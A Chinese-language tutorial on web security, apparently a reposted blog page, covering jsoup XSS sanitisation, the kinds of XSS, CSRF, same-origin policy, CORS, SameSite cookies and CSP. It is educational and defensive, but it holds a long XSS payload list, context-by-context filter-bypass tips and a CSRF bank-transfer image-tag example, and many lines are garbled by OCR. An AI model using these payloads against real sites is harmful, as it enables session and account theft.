整合營銷服務商
電腦端+手機端+微信端=數據同步管理
免費咨詢熱線：
電腦端+手機端+微信端=數據同步管理
免費咨詢熱線：
javaweb項目，從安全的角度思考，否則哪天你的項目就被簡單的黑掉了。最簡單的就是從網站輸入了alert("i am coming")，返回的確實一個彈出框，這就尷尬了。
事實上，現在運行的很多項目，安全的意識還沒有得到重視。不要等到被勒索病毒這樣的嚴重事件爆發出來才亡羊補牢，這就晚了。所以，一個成熟的項目安全是一定要的。
XSS攻擊是相對簡單的一個了，防止XSS攻擊是一定要的。下面說一下防止的具體方法：jsoup工具類
jsoup使用很簡單，功能卻很強大。它提供了很多簡單易懂，方便應用的方法
上代碼好說話
項目中引入：
jsoup 使用一個 Whitelist 類用來對 HTML 文檔進行過濾，該類提供幾個常用方法：
常用方法如下：
none():只允許包含文本信息
basic():允許的標簽包括：a, b, blockquote, br, cite, code, dd, dl, dt, em, i, li, ol, p, pre, q, small, strike, strong, sub, sup, u, ul, 以及合適的屬性
simpleText():只允許 b, em, i, strong, u 這些標簽
basicWithImages():在 basic() 的基礎上增加了圖片
relaxed():這個過濾器允許的標簽最多，包括：a, b, blockquote, br, caption, cite, code, col, colgroup, dd, dl, dt, em, h1, h2, h3, h4, h5, h6, i, img, li, ol, p, pre, q, small, strike, strong, sub, sup, table, tbody, td, tfoot, th, thead, tr, u, ul
如果這五個過濾器都無法滿足你的要求呢，例如你允許用戶插入 flash 動畫，沒關系，Whitelist 提供擴展功能，例如 whitelist.addTags("embed","object","param","span","div"); 也可調用 addAttributes 為某些元素增加屬性。
用法：Jsoup.clean(content, Whitelist.relaxed());//content:要處理的內容
實例：
加入到你的項目中，測試后你會發現，它很好用，也很實用。這里只是簡單使用，入個門。具體高級應用項目中用到了再深入研究，增加效率，幫助你更快的完成工作
XSS全稱跨站腳本(Cross Site Scripting)，為避免與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故縮寫為XSS。這是一種將任意 Javascript 代碼插入到其他Web用戶頁面里執行以達到攻擊目的的漏洞。攻擊者利用瀏覽器的動態展示數據功能，在HTML頁面里嵌入惡意代碼。當用戶瀏覽改頁時，這些潛入在HTML中的惡意代碼會被執行，用戶瀏覽器被攻擊者控制，從而達到攻擊者的特殊目的，如 cookie竊取等。
形成XSS漏洞的主要原因是程序對輸入和輸出的控制不夠嚴格，導致“精心構造”的腳本輸入后，在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。
2021最新整理網絡安全/滲透測試/安全學習/100份src技術文檔（全套視頻、大廠面經、精品手冊、必備工具包、路線）一>關注我，私信回復"資料"獲取<一
攻擊者通過Web應用程序發送惡意代碼，一般以瀏覽器腳本的形式發送給不同的終端用戶。當一個Web程序的用戶輸入點沒有進行校驗和編碼，將很容易的導致XSS。
1、網絡釣魚，包括獲取各類用戶賬號
2、竊取用戶cookies資料，從而獲取用戶隱私信息，或利用用戶身份進一步對網站執行操作；
3、劫持用戶（瀏覽器）會話，從而執行任意操作，例如非法轉賬、強制發表日志、電子郵件等
4、強制彈出廣告頁面、刷流量等
5、網頁掛馬；
6、進行惡意操作，如任意篡改頁面信息、刪除文章等
7、進行大量的客戶端攻擊，如ddos等
8、獲取客戶端信息，如用戶的瀏覽歷史、真實p、開放端口等
9、控制受害者機器向其他網站發起攻擊；
10、結合其他漏洞，如csrf，實施進步危害；
11、提升用戶權限，包括進一步滲透網站
12、傳播跨站腳本蠕蟲等
形成XSS漏洞的主要原因是程序對輸入和輸出的控制不夠嚴格，導致“精心構造”的腳本輸入后，在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。
因此在XSS漏洞的防范上，一般會采用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理: 輸入過濾：對輸入進行過濾，不允許可能導致XSS攻擊的字符輸入; 輸出轉義：根據輸出點的位置對輸出到前端的內容進行適當轉義;
1、數據交互的地方
get、post、cookies、headers
反饋與瀏覽
富文本編輯器
各類標簽插入和自定義
2、數據輸出的地方
用戶資料
關鍵詞、標簽、說明
文件上傳
又稱非持久型XSS，這種攻擊方式往往具有一次性，只在用戶單擊時觸發。跨站代碼一般存在鏈接中，當受害者請求這樣的鏈接時，跨站代碼經過服務端反射回來，這類跨站的代碼通常不存儲服務端
常見注入點:
網站的搜索欄、用戶登錄入口、輸入表單等地方，常用來竊取客戶端cookies或釣魚欺騙。
漏洞產生原因一般是網站只是簡單地將用戶輸入的數據直接或未經過完善的安全過濾就在瀏覽器中進行輸岀，導致輸岀的欻據中存在可被瀏覽器執行的代碼數據
攻擊方式
攻擊者通過電子郵件等方式將包含XSS代碼的惡意鏈接發送給目標用戶。當目標用戶訪問該鏈接時，服務器接受該目標用戶的請求并進行處理，然后服務器把帶有XSS的代碼發送給目標用戶的瀏覽器，瀏覽器解析這段帶有XSS代碼的惡意腳本后，就會觸發XSS漏洞。
由于此種類型的跨站代碼存在于URL中，所以黑客通常需要通過誘騙或加密變形等方式將存在惡意代碼的鏈接發給用戶，只有用戶點擊以后才能使得攻擊成功實施。
反射型XSS攻擊的流程如下：
?
1.攻擊者尋找具有漏洞的網站
2.攻擊者給用戶發了一個帶有惡意字符串的鏈接
3.用戶點擊了該鏈接
4.服務器返回HTML文檔，此時該文檔已經包含了那個惡意字符串
5.客戶端執行了植入的惡意腳本，XSS攻擊就發生
存儲型XSS（ Stored xss Attacks），也是持久型XSS，比反射型XSS更具有威脅性。。攻擊腳本將被永久的存放在目標服務器的數據庫或文件中。這是利用起來最方便的跨站類型，跨站代碼存儲于服務端（比如數據庫中）
常見注入點
論壇、博客、留言板、網站的留言、評論、日志等交互處。
造成漏洞原因一般是由于Web應用程序對用戶輸入數據的不嚴格，導致Web應用程序將黑客輸入的惡意跨站攻擊數據信息保存在服務端的數據庫或其他文件形式中。
攻擊方式
攻擊者在發帖或留言的過程中，將惡意腳本連同正常信息一起注入到發布內容中。隨著發布內容被服務器存儲下來，惡意腳本也將永久的存放到服務器的后端存儲器中。當其他用戶瀏覽這個被注入了
惡意腳本的帖子時，惡意腳本就會在用戶的瀏覽器中得到執行。
存儲型ⅩSS攻擊的流程如下
1.用戶提交了一條包含XSS代碼的留言到數據庫
2.當目標用戶查詢留言時，那些留言的內容會從服務器解析之后加載出來
3.瀏覽器發現有XSS代碼，就當做正常的HTML和JS解析執行
DoM是文檔對象模型（ Document Object Model）的縮寫。它是HTML文檔的對象表示，同時也是外部內容（例如 JavaScript）與HTML元素之間的接口。解析樹的根節點是“ Document"對象。DOM（ Document object model），使用DOM能夠使程序和腳本能夠動態訪問和更新文檔的內容、結構和樣式。
它是基于DoM文檔對象的一種漏洞，并且DOM型XSS是基于JS上的，并不需要與服務器進行交互。
其通過修改頁面DOM節點數據信息而形成的ⅩSS跨站腳本攻擊。不同于反射型XSS和存儲型XSS，基于DOM的XSS跨站腳本攻擊往往需要針對具體的 Javascript DOM代碼進行分析，并根據實際情況進行XSS跨站腳本攻擊的利用。
一種基于DOM的跨站，這是客戶端腳本本身解析不正確導致的安全問題
注入點
通過js腳本對對文檔對象進行編輯，從而修改頁面的元素。也就是說，客戶端的腳本程序可以DOM動態修改頁面的內容，從客戶端獲取DOM中的數據并在本地執行。由于DOM是在客戶端修改節點的，所
以基于DOM型的XSS漏洞不需要與服務器端交互，它只發生在客戶端處理數據的階段。
攻擊方式
用戶請求一個經過專門設計的URL，它由攻擊者提供，而且其中包含XSS代碼。服務器的響應不會以任何形式包含攻擊者的腳本，當用戶的瀏覽器處理這個響應時，DOM對象就會處理XSS代碼，導致存
在XSS漏洞。
它的流程是這樣的：
1.攻擊者尋找具有漏洞的網站
2.攻擊者給用戶發了一個帶有惡意字符串的鏈接
3.用戶點擊了該鏈接
4.服務器返回HTML文檔，但是該文檔此時不包含那個惡意字符串
5.客戶端執行了該HTML文檔里的腳本，然后把惡意腳本植入了頁面
6.客服端執行了植入的惡意腳本，XSS攻擊就發生了
反射型XSS與DOM型區別：
1、反射型XSS攻擊中，服務器在返回HTML文檔的時候，就已經包含了惡意的腳本;
2、DOM型ⅩSS攻擊中，服務器在返回HTML文檔的時候，是不包含惡意腳本的；惡意腳本是在其執行了非惡意腳本后，被注入到文檔里的
通過JS腳本對對文檔對象進行編輯，從而修改頁面的元素。也就是說，客戶端的腳本程序可以DOM動態修改頁面的內容，從客戶端獲取DOM中的數據并在本地執行。由于DOM是在客戶端修改節點的，所以基于DOM型的XSS漏洞不需要與服務器端交互，它只發生在客戶端處理數據的階段。
不論是服務器端或客戶端的ⅩSS過濾器，都認定過濾后的HTM源代碼應該與瀏覽器所渲染后的HTML代碼保持一致，至少不會出現很大的出入
然而，如果用戶所提供的富文本內容通過 Javascript 代碼進屬性后，一些意外的變化會使得這個認定不再成立：一串看似沒有任何危害的HTML代碼，將逃過XSS過濾器的檢測，最終進入某個DOM節點中，瀏覽器的渲染引擎會將本來沒有任何危害的HTML代碼渲染成具有潛在危險的XSS攻擊代碼。 隨后，該段攻擊代碼，可能會被JS代碼中的其它一些流程輸出到DOM中或是其它方式被再次渲染，從而導致XSS的執行。這種由于HTML內容進后發生意外變化（ mutation，突變，來自遺傳學的一個單詞，大家都知道的基因突變，gene mutation），而最終導致XS的攻擊流程，被稱為突變XSS（mXSs, Mutation based Cross-Site-Scripting
通常通過innerHTML函數進行html代碼過濾
什么是HTML過濾器？為什么我們需要HTML過濾器？
許多web應用程序，以編輯器的形式，允許用戶使用一些特殊的文本格式（例如，粗體，斜體等等）。這個功能在博客，郵件當中使用甚廣。這里出現的主要安全問題就是有些不法用戶可能輸入一些惡意HTML/ avaScript從而引入XSS。 因此，這類允許用戶進行個性化輸入的應用程序的創建者就面臨一個很頭疼的問題如何確保用戶的輸入的HTML是安全的，從而不會引起不必要的XSS。 這就是為什么需要HTML過濾器的原因。HTML過濾器的主要目的是揪出不可信的輸入，對其進行過濾，并生成安全的HTML過濾所有危險標簽的HTML
舉個例子
解析后，輸入的html代碼變成下面格式
通過html過濾器，過濾不在白名單的代碼，得到如下無害html代碼，也不會傷害到用戶的正常功能
雖然HTML過濾器可以幫助我們處理大部分數據，能夠處理99%的威脅，但是最后一公里路還是要有瀏覽器來渲染加載。 我們看一個簡單的例子：
上面代碼一開始并沒有閉合的標簽，通過渲染后自動加入閉合標簽。
在賦值給 innerHTML之后，我們卻得到一個不同的值。由于 HTML/XML格式的靈活性，用戶可以輸入非規范的HTML，修復成規范的HTML就是瀏覽器的責任了。
道理我都懂，但是有沒有更直觀的例子？
首先分配一個<sg>標簽，<p>是它的子標簽。但是從DOM樹中我們可以發現，<p>元素實際上“跳出”了<svg>。發生這種情況的主要原因是<p>不是<sg>中的有效標簽，因此瀏覽器會在結束<SVg>后打開<p>
UXSS全稱Universal Cross-Site Scripting，翻譯過來就是通用型XSS，也叫Universal XSS。UXSS保留了基本XSS的特點，利用漏洞，執行惡意代碼，但是有一個重要的區別：不同于常見的XSS，UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產生XSS的條件并執行代碼的一種攻擊類型。
俗的說，就是原來我們進行XSS攻擊等都是針對Web應用本身，是因為Web應用本身存在漏洞才能被我們利用攻擊；而UXSS不同的是通過瀏覽器或者瀏覽器擴展的漏洞來”制作ⅩSS漏洞”，然后剩下的我們就可以像普通XSS那樣利用攻擊了。
不同于常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產生XSS的條件并執行代碼的一種攻擊類型。UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產生XSS的條件并執行代碼的一種攻擊類型。UXSS 可以理解為Bypass 同源策略。
常見的XSS攻擊的是因為客戶端或服務端的代碼開發不嚴謹等問題而存在漏洞的目標網站或者應用程序。這些攻擊的先決條件是頁面存在漏洞， 而它們的影響往往也圍繞著漏洞頁面本身的用戶會話。換句話說，因為瀏覽器的安全功能的影響，XSS攻擊只能讀取受感染的會話，而無法讀取其他的會話信息，也就是同源策略的影響。
1.IE8跨站腳本過濾器缺陷
David Lindsay和 Eduardo vela Nava已經在2010年的 BlackHat Europe展示了這個漏洞的UXSS利用。 IE8中內置了XSS過濾器，用于檢測反射XSS并采取糾正措施：在頁面渲染之前更改響應內容。在這種特殊情況下，等號將會被過濾器去除，但是通過精心構造的XSS字符串在特定的地方，這個邏輯會導致瀏覽器創建XSS條件。 微軟的響應是改變了XSS過濾器去除的字符。
2.IE8跨站腳本過濾器缺陷
移動設備也不例外，而且可以成為XSS攻擊的目標。 Chrome安卓版存在一個漏洞，允許攻擊者將惡意代碼注入到 Chrome通過 Intent對象加載的任意的Web頁面
3.安卓瀏覽器SOP繞過漏洞
限制于特定的安卓系統版本，因為 kitkat（ android 4.4）之前 webview組件使用webview內核而遺留的漏洞。該漏洞可以通過構造一個頁面，頁面嵌入 iframe ，然后通過\u0000進行瀏覽器的sop繞過進行XSS
那么UXSS與通常的XSS有什么影響的區別？
因為一些安全策略，即使一個漏洞頁面存在XSS，我們可以訪問它的用戶會話信息等但是無法訪問其他域的相關的會話信息，而因為UXSS是利用瀏覽器本身或者瀏覽器擴展程序的漏洞，所以對于攻擊發起時瀏覽器打開或緩存的所有頁面（即使不同域的情況）的會話信息都可以進行訪問。簡單的說，∪XSS不需要—個漏洞頁面來觸發攻擊，它可以滲透入安全沒有問題的頁面，從而創造一個漏洞，而該頁面原先是安全無漏洞的。 不僅是瀏覽器本身的漏洞，現在主流瀏覽器都支持擴展程序的安裝，而眾多的瀏覽器擴展程序可能導致帶來更多的漏洞和安全問題。 因為UXSS攻擊不需要頁面本身存在漏洞，同時可能訪問其他安全無漏洞頁面，使得UXSS成為XSS里危險和最具破壞性的攻擊類型之一
<imgsrc=javascript：alert("xss")>
<IMGSRC=javascript：alert(String.formCharCode(88,83,83))>
<imgscr="URL"style='Xss:expression(alert(/xss));'
imgSTYLE=“background-image:url(javascript：alert(‘XSS’))”
<imgsrc="x"onerror=alert(1)>
<imgsrc="1"onerror=eval("alert('xss')")>
<imgsrc=1onmouseover=alert('xss')>
<ahref="https://www.baidu.com">baidu</a>
<ahref="javascript：alert('xss')">aa</a>
<ahref=javascript：eval(alert('xss'))>aa</a>
<ahref="javascript：aaa"onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<ahref=""onclick=eval(alert('xss'))>aa</a>
<ahref=kycg.asp?ttt=1000onmouseover=prompt('xss')y=2016>aa</a>
<inputname="name"value="">
<inputvalue=""onclick=alert('xss')type="text">
<inputname="name"value=""onmouseover=prompt('xss')bad="">
<inputname="name"value=""><script>alert('xss')</script>
<formaction=javascript：alert('xss')method="get">
<formaction=javascript：alert('xss')>
<formmethod=postaction=aa.asp?onmouseover=prompt('xss')>
<formmethod=postaction=aa.asp?onmouseover=alert('xss')>
<formaction=1onmouseover=alert('xss)>
<formmethod=postaction="data:text/html;base64,<script>alert('xss')</script>">
<formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframesrc=javascript：alert('xss');height=5width=1000/><iframe>
<iframesrc="data:text/html,<script>alert('xss')</script>"></iframe>
<iframesrc="data:text/html;base64,<script>alert('xss')</script>">
<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframesrc="aaa"onmouseover=alert('xss')/><iframe>
<iframesrc="javascript:prompt(xss)"></iframe>
<svgonload=alert(1)>
由于HTTP協議是無狀態的協議，所以服務端需要記錄用戶的狀態時，就需要用某種機制來識具體的用戶，這個機制就是 Session
典型的場景比如購物車，當你點擊下單按鈕時，由于HTTP協議無狀態，所以并不知道是哪個用戶操作的，所以服務端要為特定的用戶創建了特定的 Session，用用于標識這個用戶，并且跟蹤用戶，這樣才知道購物車里面有幾本書。
這個 Session是保存在服務端的，有一個唯一標識。在服務端保存 Session的方法很多，內存、數據庫、文件都有。集群的時候也要考慮 Session的轉移，在大型的網站一般會有專門的 Session服務器集群，用來保存用戶會話，這個時候 Session信息都是放在內存的，使用一些緩存服務比如 Memcached之類的來放 Session。
思考一下服務端如何識別特定的客戶？這個時候 Cookie就登場了。
每次HTTP請求的時候，客戶端都會發送相應的Cookie信息到服務端。實際上大多數的應用都是用 Cookie來實現 Session跟蹤的，第一次創建 Session的時候，服務端會在HTTP協議中告訴客戶端，需要在Cookie里面記錄個SessionID，以后每次請求把這個會話ID發送到服務器，我就知道你是誰了。
設想你某次登陸過一個網站，只需要登錄一次就可以在一定時間內瀏覽這個網站的所有內容，這是如何做到的？也是 Cookie
Cookie是指某些網站為了辨別用戶身份而儲存在客戶端上的數據（通常經過加密）。也就是說，只要有了某個用戶的 cookie，就能以他的身份登錄
獲取cookie：
瀏覽器(客戶端)：document.cookie
服務器端(php)：$_COOKIE
舉例
知道了 cookie的格式， cookie的屬性選項，接下來我們就可以設置 cookie了。首先得明確一點：cookie既可以由服務端來設置，也可以由客戶端來設置。
1、一個Set-Cookie字段只能設置一個 cookie，當你要想設置多個 cookie，需要添加同樣多的Set- Cookie字段。 2、服務端可以設置 cookie的所有選項：expires、 domain、path、 secure、 HttpOnly
客戶端可以設置 cookie的下列選項：expires、 domain、path、 secure（有條件：只有在https協議的網頁中，客戶端設置 secure類型的 cookie才能成功），但無法設置 HttpOnly選項。
語言的解析般分為詞法分析（ lexical analysis）和語法分析（ Syntax analysis）兩個階段， Webkit中的HTML解析也不例外，我們這里主要關注詞法分析。
詞法分析的任務是對輸入字節流進行逐字掃描，根據構詞規則識別單詞和符號，分在WebKⅰt中，有兩個類，同詞法分析密切相關，它是 HTMLToken和HTMLTokenizer類，可以簡單將 HTMLToken類理解為標記， HTMLTokenizer類理解為詞法解析器。HTML詞法解析的任務，就是將輸入的字節流解析成一個個的標記（ HTMLToken），然后由語法解析器進行下一步的分析
在XML/HTML 的文檔解析中， token這個詞經常用到，我將其理解為一個有完整語義的單元（也就是分出來的“詞”），一個元素通常對應于3個 token，一個是元素的起始標簽，一個是元素的結束標簽，一個是元素的內容，這點同DOM樹是不一樣的，在DOM樹上，起始標簽和結束標簽對應于一個元素節點，而元素內容對應另一個節點。
除了起始標簽（ StartTag）、結束標簽（仼 drAg）和元素內容（ Character），HTM標簽還有 DOCTYPE（文檔類型） Comment（注釋）， Uninitialized（默認類型）和EndofFile（文檔結束）等類型，參見 HTMLToken h中的Type枚舉。
在HTML中，某些字符是預留的。例如在HTML中不能使用<或>，這是因為瀏覽器可能誤認為它們是標簽的開始或結束。如果希望正確地顯示預留字符，就需要在HTML中使用對應的字符實體。一個HTML字符實體描述如下
字符顯示 描述 實體名稱 實體編號
< 小于號 <<
需要注意的是，某些字符沒有實體名稱，但可以有實體編號
HTML的詞法分析：http://www.w3.org/TR/html5/tokenization.html
HTML的規范是相當寬松的，所以詞法解析要考慮到的問題很多，HTML5 specification 在這方面為實現者做了絕大部分工作。 不考慮類似<html>和<body>之間的回車換行
…
（1）輸入在標簽間的情況：測試<>是否被過濾或轉義，若無則直接<mgsc=1 onerror=alert(1)>
（2）輸入在 script標簽內：我們需要在保證內部JS語法正確的前提下，去插入我們的 payload。如果我們的輸岀在字符串內部，測試字符串能否被閉合。如果我們無法閉合包裹字符串的引號，這個點就很難利用了
可能的解決方案：可以控制兩處輸入且\可用、存在寬字節
（3）輸入在HTML屬性內：首先査看屬性是否有雙引號包裏、沒有則直接添加新的事件屬性；
有雙引號包裹則測試雙引號是否可用，可用則閉合屬性之后添加新的事件屬性；
TIP：HTML的屬性，如果被進行HTML實體編碼（形如'；'），那么HTML會對其進行自動解碼，從而我們可以在屬性里以HTML實體編碼的方式引入任意字符，從而方便我們在事件屬性里以JS的方式構造 payload。
（4）輸岀在JS中，空格被過濾：使用/**/代替空格。 （5）輸出在JS注釋中：設法插入換行符%0A，使其逃逸出來。 （6）輸入在JS字符串內：可以利用JS的十六進制、八進制、 unicode編碼。 （7）輸入在src/ href /action等屬性內：可以利用 javascript：alert(1)，以及data:text/html;base64;加上base64編碼后的HTML
（8） Chrome下 iframe自身的彈框姿勢
<iframe onload="alert(1)"></iframe>``<iframe src="javascript：alert(2)"></iframe>``<iframe src=data text/html, <script>alert(3)</script>></iframe>``<iframe srcdoc="<script>alert(4))</script>"></iframe>
（9）坑點之自帶 HtmlEncode（轉義）功能的標簽
<textarea>k/textarea>``<title></title>``<iframe ></iframe>``<noscript></noscript>``<noframes></noframes>``<xmp></xmp>``<plaintext></plaintext>
當我們的 XSS payload位于這些標簽中間時，并不會解析，除非我們把它們閉合掉。
CSRF（ Cross-site request forgery），中文名稱：跨站請求偽造，也被稱為：one click attack/ session riding，縮寫為：CSRF/XSRF。 可以這么理解CSRF攻擊：攻擊者盜用了你的身份，以你的名義發送惡意請求。CSRF能夠做的事情包括：以你名義發送郵件，發消息，盜取你的賬號，甚至于購買商品，虛擬貨幣轉賬……造成的問題包括：個人隱私泄露以及財產安全。 如果站點的管理員遭受CSRF攻擊，在知道相關請求參數的情況下，攻擊者可以借助管理員的權限來完成一些操作，如添加賬戶、上傳文件等。 從而，在一些公共系統（如購物網站等）和一些開源系統當中，CSRF的危害較大；在閉源系統中，單純的CSRF危害較小；不過這也是相對的，CSRF可以和XSS配合使用，從而實現較大的破壞。一旦利用成功，CSRF同樣可以進后臺、 getshell
從上圖可以看出，要完成一次CSRF攻擊，受害者必須依次完成兩個步驟
1.登錄受信任網站A，并在本地生成 Cookie。
2.在不登出A的情況下，訪問危險網站B。 看到這里，你也許會說：“如果我不滿足以上兩個條件中的一個，我就不會受到CSRF的攻擊”。
是的，確實如此，但你不能保證以下情況不會發生：
1.你不能保證你登錄了一個網站后，不再打開—個tab頁面并訪問另外的網站。
2.你不能保證你關閉瀏覽器了后，你本地的 Cookie立刻過期，你上次的會話已經結束。（事實上，關閉瀏覽器并不能一定結束一個會話，但有些人都會錯誤的認為關閉瀏覽器就等于退出登錄結束會話了…
3.上圖中所謂的攻擊網站，可能是一個存在其他漏洞的可信任的經常被人訪問的網站。
銀行網站A，它以GET請求來完成銀行轉賬的操作，如： http://www.mybank.com/transfer.php?tobankid=1l&money=1000存在一個危險網站B，它里面有一段HTML的代碼如下
<img src=http://www.mybank.com/transferphp？tobankld=11&moneY=1000>
首先，你登錄了銀行網站A，然后訪問危險網站B，噢，這時你會發現你的銀行賬戶少了1000塊，為什么會這樣呢？
原因是銀行網站A違反了HTTP規范，使用GET請求更新資源。在訪問危險網站B的之前，你已經登錄了銀行網站A，而B中的<mg>以GET的方式請求第三方資源（這里的第三方就是指銀行網站了，原本這是一個合法的請求，但這里被不法分子利用了），所以你的瀏覽器會帶上你的銀行網站A的 Cookie發出GET請求，去獲取資源"http://www.mybank.com/transfer.pHp?tobankid=11&money=1000"，結果銀行網站服務器收到請求后，認為這是一個更新資源操作（轉賬操作），所以就立刻進行轉賬操作…
1995年，同源政策由 Netscape公司引入瀏覽器。目前，所有瀏覽器都實行這個政策。最初，它的含義是指，A網頁設置的 Cookis，B網頁不能打開，除非這兩個網頁"同源"
所謂“同源”指的是“三個相同”：
協議相同
域名相同
端口相同
看看示例來小試牛刀
同源政策的目的，是為了保證用戶信息的安全，防止惡意的網站竊取數據。
設想這樣一種情況：A網站是一家銀行，用戶登錄以后，又去瀏覽其他網站。如果其他網站可以讀取A網站的 Cookie，會發生什么？
很顯然，如果 Cookie包含隱私（比如存款總額），這些信息就會泄漏。更可怕的是Cookie往往用來保存用戶的登錄狀態，如果用戶沒有退出登錄，其他網站就可以冒充用戶，為所欲為。因為瀏覽器同時還規定，提交表單不受同源政策的限制。
由此可見，"同源政策"是必需的，否則 Cookie可以共享，互聯網就毫無安全可言了。
隨著互聯網的發展，“同源政策” 越來越嚴格。目前，如果非同源，共有三種行為受到限制。
（1）Cookie、 LocalStorage 和 IndexDB 無法讀取。
（2）DOM無法獲得。
（3）AJAX請求不能發送。
當然，這些條件都是相對的，在某些特殊的情況下，我們也可以通過同源策略所允許的共享機制，完成非同源頁面之間數據的傳送。
所謂跨域，或者異源，是指主機名（域名）、協議、端口號 只要有其一不同，就為不同的域（或源）。瀏覽器中有一個基本的策略，叫同源策略，即限制"源"自A的腳本只能操作“同源”頁面的DOM。 瀏覽器中，< script>/<img>/< iframe>/<link>等標簽都是可以跨域來加載資源的而不受同源策略的影響。帶″src′屬性的標簽每次加載時，實際上都是瀏覽器發起次”GET”請求。
對于 XMLHttpRequest來說，它可以訪問來自同源對象的內容。但是不能夠跨域訪問資源。他需要通過目標域返回的HTTP頭授權是否允許跨域訪問，因為HTTP頭對于 javascript來說一般是無法控制的，所以認為這個方案是可行的。
對于瀏覽器來說：除了DOM、Cookie、XMLTttpRequest會受到同源策略的限制外，瀏覽器加載的第三方插件也有各自的同源策略。例如：flash,java applet, silverlight, coogle gears等。
跨域的方法
(1）用戶在網站B注冊并登錄，網站B包含了用戶的d,name,emai等信息
(2）用戶通過瀏覽器向網站A發出URL請求
(3）網站A向用戶返回響應頁面，響應頁面中注冊了 JavaScript的回調函數和向網站B請求的 script標簽，示例代碼如下`
(4）用戶收到響應，解析JS代碼，將回調函數作為參數向網站B發岀請求； (5）網站B接收到請求后，解析請求的URL，以SON格式生成請求需要的數據，將封裝的包含用戶信息的JSON數據作為回調函數的參數返回給瀏覽器，網站B返回的數據實例如下：Callback(){id"：l，"name"：test"，"email"：testatest com"})(6）網站B數據返回后，瀏覽器則自動執行 Callback函數對步驟4返回的JSON格式數據進行處理，通過alert 彈窗展示了用戶在網站B的注冊信息。另外也可將JSON數據回傳到網站A的服務器，這樣網站A利用網站B的JSONP漏洞便獲取到了用戶在網站B注冊的信息。
CORS是一個W3C標準，全稱是"跨域資源共享"”（ Cross-origin resource sharing）
它允許瀏覽器向跨源服務器，發出 XMLHttpRequest請求，從而克服了AJAX只能同源使用的限制。 CORS需要瀏覽器和服務器同時支持。目前，所有瀏覽器都支持該功能，IE瀏覽器不能低于IE10。
瀏覽器端：
目前，所有瀏覽器都支持該功能（IE10以下不行）。整個CORS通信過程，都是瀏覽器自動完成，不需要用戶參與。
服務端:
CORS通信與AJAX沒有任何差別，因此你不需要改變以前的業務邏輯。只不過，瀏覽器會在請求中攜帶一些頭信息，我們需要以此判斷是否運行其跨域，然后在響應頭中加入一些信息即可。這一般通過過濾器完成即可。
不符合簡單請求的條件，會被瀏覽器判定為特殊請求，例如請求方式為PUT
特殊請求會在正式通信之前，增加一次HTTP查詢請求，稱為"預檢"請求（ preflight）。
瀏覽器先詢問服務器，當前網頁所在的域名是否在服務器的許可名單之中，以及可以使用哪些HTTP動詞和頭信息字段。只有得到肯定答復，瀏覽器才會發出正式的XMLHttpRequest請求，否則就報錯。
與簡單請求相比，除了 Origin以外，多了兩個頭
Access-Control-Request-Method：接下來會用到的請求方式，比如PUT
Access- Control- Request-Headers：會額外用到的頭信息
服務的收到預檢請求，如果許可跨域，會發出響應
除了 Access-Contro-Allow-Origin和Aces-Contro-Allow-Credentials以外，這里又額外多出3個頭：
Access-Contro|-Allow-Methods：允許訪問的方式
Access-Control- Allow- Headers：允許攜帶的頭
Access-Control-Max-Age：本次許可的有效時長，單位是秒，過期之前的ajax請求就無需再次進行預檢了
如果瀏覽器得到上述響應，則認定為可以跨域，后續就跟簡單請求的處理是一樣的
Chrome51開始，瀏覽器的 Cookie新增加了—個 SameSite屬性，用來防止CSRF攻擊和用戶追蹤。
Cookie的 Samesite屬性用來限制第三方 Cookie，從而減少安全風險。它可以設置個值 Strict 、 Lax、 None
Strict最為嚴格，完全禁止第三方 Cookie，跨站點時，任何情況下都不會發送Cookie。換言之，只有當前網頁的URL與請求目標—致，才會帶上 Cookie。
Set-Cookie:CookieName=CookieValue:SameSite=Strict;
這個規則過于嚴格，可能造成非常不好的用戶體驗。比如，當前網頁有一個 GitHub鏈接，用戶點擊跳轉就不會帶有 GitHub的 Cookie，跳轉過去總是未登陸狀態。
Lax規則稍稍放寬，大多數情況也是不發送第三方 Cookie，但是導航到目標網址的Get請求除外。
Set-Cookie:CookieName=CookieValue;SameSite=Lax
導航到目標網址的GET請求，只包括三種情況：鏈接，預加載請求，GET表單。詳見下表。
Chrome計劃將Lax變為默認設置。這時，網站可以選擇顯式關閉 SameSite屬性將其設為None。不過，前提是必須同時設置 Secure屬性（ Cookie只能通過 Https協議發送），否則無效。
下面的設置無效:
Set-Cookie:widget_session=abc123;SameSite=None
下面的設置有效:
Set-Cookie:widget_session=abc123;SameSite=None;Secure
CSP全稱為 Content Security Policy，即內容安全策略。主要以白名單的形式配置可信任的內容來源，在網頁中，能夠使白名單中的內容正常執行（包含JS，CSS，Image等等），而非白名單的內容無法正常執行，從而減少跨站腳本攻擊（XSS），當然，也能夠減少運營商劫持的內容注入攻擊。
為使CSP可用，你需要配置你的網絡服務器返回Content-Security-Policy HTTP頭部（有時你會看到一些關于X-Content-Security-Policy頭部的提法，那是舊版本，你無須再如此指定它）
除此之外，<meta>元素也可以被用來配置該策略，例如
CSP旨在減少（注意這里是減少而不是消滅）跨站腳本攻擊。CSP是一種由開發者定義的安全性政策性申明，通過CSP所約束的的規責指定可信的內容來源（這里的內容可以指腳本、圖片、 iframe、font、 style等等可能的遠程的資源）。通過CSP協定，讓WEB處于—個相對安全的運行環境中。
無論是反射型/存儲型XSS都因為其 payload富于變化而難以被徹底根除。
而目前通過對輸入輸出的檢測瀏覽器自身的 filter 對反射型XSS有了一定的檢測能力，但是對于存儲型XSS仍然缺乏一個有效通用解決方案。
內容安全策略（csp）將在未來的XSS防御中扮演著日漸重要的角色。 但是由于瀏覽器的支持，XSS的環境復雜多變等問題，仍然會存在很多Bypass的方法。
跨站腳本泄漏（ Cross-Stie Leaks，又稱XS- Leaks/ XSLeaks），是一類利用Web平臺內置的側信道衍生出來的漏洞。其原理是利用網絡上的這種側信道來揭示用戶的敏感信息，如用戶在其他網絡應用中的數據、用戶本地環境信息，或者是用戶所連接的內部網絡信息等。
